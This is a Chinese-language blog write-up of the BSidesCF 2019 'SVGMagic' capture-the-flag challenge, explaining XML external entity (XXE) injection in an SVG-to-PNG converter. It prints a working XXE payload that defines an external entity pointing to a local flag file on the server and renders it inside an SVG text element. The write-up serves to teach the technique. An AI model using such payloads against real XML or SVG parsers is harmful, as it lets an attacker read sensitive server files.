[BSidesCF 2019]SVGMagic

最新推荐文章于 2024-04-15 09:48:34 发布

succ3

最新推荐文章于 2024-04-15 09:48:34 发布

阅读量895

点赞数

分类专栏： BUUCTF 文章标签： web安全 xxe

本文链接：https://blog.csdn.net/shinygod/article/details/124052707

版权

BUUCTF 专栏收录该内容

131 篇文章 13 订阅

订阅专栏

本文深入探讨了SVG到PNG转换过程中可能存在的XML外部实体注入(XEE)漏洞。SVG作为一种基于XML的图形语言，其可控内容可能导致XXE攻击。当应用程序在解析XML输入时不阻止外部实体加载时，攻击者可以利用此漏洞读取敏感文件。例如，通过在SVG中定义外部实体引用文件系统路径，攻击者能够将文件内容暴露出来。了解并防止这种攻击对于保障系统安全至关重要。

摘要由CSDN通过智能技术生成

知识点：XML外部实体注入（XEE）

标题说把SVG转为PNG
在这里插入图片描述
SVG是一种用XML定义的语言，SVG图形是可交互的和动态的，可以在SVG文件中嵌入动画元素或通过脚本来定义动画。

也就是说这里的SVG是个XML,并且存在可控的内容，那么自然就会想到XXE。

究极详细讲解：https://www.freebuf.com/vuls/175451.html

我的理解是：

首先我们要知道，XML 被设计用来传输和存储数据。
然后这个漏洞就是利用了，应用程序在解析XML输入时，没有禁止外部实体的加载。
就拿下面的这个来说<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >，这个就是外部实体，加载了flag.txt,然后输出，
也就是：应该是实体引用，把加载的东西放出来
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>